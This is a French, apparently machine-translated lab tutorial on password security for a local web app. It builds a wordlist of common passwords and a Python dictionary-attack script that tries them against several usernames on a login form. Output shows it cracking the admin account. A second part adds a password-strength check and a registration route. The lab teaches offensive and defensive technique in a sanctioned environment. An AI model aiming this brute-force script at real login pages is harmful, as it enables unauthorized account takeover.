💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici
Dans ce laboratoire (lab), vous prendrez le rôle d'un chercheur en sécurité chargé de tester la sécurité des mots de passe d'une application web. Vous explorerez les vulnérabilités des mots de passe faibles et apprendrez les techniques utilisées pour les craquer. Cette expérience pratique vous offrira des informations à la fois sur les techniques offensives et sur l'importance de mesures défensives solides en cybersécurité.
Dans cette étape, nous allons collecter des informations sur notre site web cible, une phase initiale cruciale dans toute évaluation de sécurité.
http://localhost:8080/. Vous pouvez y accéder en cliquant sur l'onglet Web 8080 dans l'environnement LabEx.
Note : Dans la machine virtuelle LabEx, le serveur web fonctionne sur un réseau public temporaire. Cela signifie que le nom de domaine que vous voyez peut ne pas être "localhost" mais un domaine réellement accessible. C'est normal et n'affecte pas l'exercice du laboratoire.
Examinez attentivement le formulaire de connexion. Notez les points suivants :
Essayez de vous connecter en utilisant quelques combinaisons aléatoires de noms d'utilisateur et de mots de passe. Par exemple :
test, Mot de passe : password123admin, Mot de passe : adminuser, Mot de passe : 12345Vous devriez recevoir un message "Nom d'utilisateur ou mot de passe invalide" pour chaque tentative.
Cette reconnaissance initiale nous aide à comprendre le système avec lequel nous avons affaire et guide nos prochaines étapes dans la tentative de craquer les mots de passe.
Maintenant que nous avons collecté des informations sur le système de connexion, nous allons créer un dictionnaire de mots de passe potentiels. Il s'agit d'une technique courante utilisée dans les tentatives de craquage de mots de passe.
passwords.txt :cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOFCette commande utilise une technique appelée "here document" en bash. Elle nous permet de créer un fichier avec plusieurs lignes de texte en une seule commande. Voici comment cela fonctionne :
cat << EOF > filename : Cela indique au système de prendre tout le texte jusqu'à ce qu'il voit "EOF" (End Of File) et de l'écrire dans le fichier spécifié.EOF et le deuxième EOF est le contenu qui sera écrit dans le fichier.EOF marque la fin du texte à écrire.Après avoir exécuté cette commande, vous aurez créé un fichier nommé passwords.txt dans le répertoire ~/project/password_lab/, contenant une liste de mots de passe couramment utilisés (et donc faibles).
Dans un scénario réel, les attaquants pourraient utiliser des dictionnaires beaucoup plus volumineux, souvent contenant des millions de mots de passe. Ceux-ci pourraient inclure :
Créer et utiliser de tels dictionnaires pour un accès non autorisé est illégal et contraire à l'éthique. Nous utilisons ce petit dictionnaire à des fins éducatives uniquement, pour comprendre comment ces attaques fonctionnent et comment s'en protéger.
Maintenant que notre dictionnaire de mots de passe est prêt, nous allons créer un script Python pour automatiser le processus de test de ces mots de passe sur notre site web cible.
Ouvrez le terminal sur le bureau s'il n'est pas déjà ouvert.
Entrez la commande suivante pour ouvrir un nouveau fichier nommé password_cracker.py dans l'éditeur de texte nano :
nano ~/project/password_lab/password_cracker.pyimport requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()Ctrl+X, puis Y, et enfin Entrée.Analysons ce que ce script fait :
La fonction crack_password :
La fonction main :
passwords.txt.crack_password avec la liste de mots de passe.Ce script automatise le processus de test de nombreuses combinaisons de noms d'utilisateur et de mots de passe, de la même manière qu'un attaquant pourrait tenter de pénétrer dans un système. Cependant, il est important de noter que l'utilisation de telles techniques sans autorisation est illégale et contraire à l'éthique. Nous l'utilisons uniquement à des fins éducatives, pour comprendre comment ces attaques fonctionnent et comment s'en protéger.
Maintenant que nous avons notre script de craquage de mots de passe, nous allons l'exécuter et analyser les résultats.
cd ~/project/password_labpython password_cracker.pylabex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123Cet exercice démontre comment les mots de passe faibles peuvent être facilement devinés en utilisant des mots ou des motifs courants. Dans ce cas, le compte "admin" avec le mot de passe "supersecret123" était vulnérable à notre attaque par dictionnaire.
Il est essentiel de comprendre que bien que ce script ait été réussi dans cet environnement contrôlé, tenter d'utiliser de telles techniques contre des systèmes réels sans autorisation explicite est illégal et contraire à l'éthique. Cette connaissance devrait être utilisée pour comprendre les vulnérabilités et améliorer la sécurité, et non pour exploiter les systèmes.
Maintenant que nous avons réussi à craquer certains mots de passe, mettons en œuvre de meilleures politiques de mots de passe pour prévenir de telles attaques.
WebIDE dans la machine virtuelle LabEx. WebIDE est un environnement de développement intégré (IDE) basé sur le web qui vous permet d'écrire, d'exécuter et de déboguer du code directement dans votre navigateur. C'est similaire à l'éditeur VS Code, mais il s'exécute dans le navigateur. WebIDE est adapté pour éditer des fichiers de code plus longs.
app.py pour l'ouvrir dans l'éditeur.users pour implémenter des vérifications de force du mot de passe :import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
Cette fonction vérifie si un mot de passe :
if __name__ == '__main__': :@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)
Ce code crée une nouvelle route pour l'inscription des utilisateurs. Il vérifie si le mot de passe soumis répond à nos critères de mot de passe fort avant de créer un nouvel utilisateur.
pkill -f "python app.py"
python ~/project/password_lab/app.pyWeb 8080 et ajoutez /register à l'URL pour accéder au nouveau formulaire d'inscription :
Essayez d'enregistrer un nouveau compte avec un mot de passe faible (par exemple, "password123"). Observez comment l'application applique la nouvelle politique de mots de passe.
Maintenant, enregistrez un nouveau compte avec un mot de passe fort qui répond à tous les critères. Par exemple :
labexS3cureP@ssw0rd-2024Ce mot de passe répond à toutes nos exigences : il a plus de 12 caractères, contient des lettres majuscules et minuscules, des chiffres et des caractères spéciaux.
Après avoir réussi à vous inscrire, testons notre script de craquage de mots de passe contre ce nouveau mot de passe fort. Modifiez le script password_cracker.py :
nano ~/project/password_lab/password_cracker.pyusernames = ['admin', 'user', 'root', 'administrator', 'webmaster']usernames = ['labex']Exécutez le script modifié :
python ~/project/password_lab/password_cracker.pyObservez que le script échoue à craquer le nouveau mot de passe fort. Cela démontre l'efficacité de la mise en œuvre de politiques de mots de passe fortes.
Dans ce laboratoire, vous avez vécu le processus de piratage éthique et de test de sécurité des mots de passe. Voici un récapitulatif de ce que vous avez accompli :
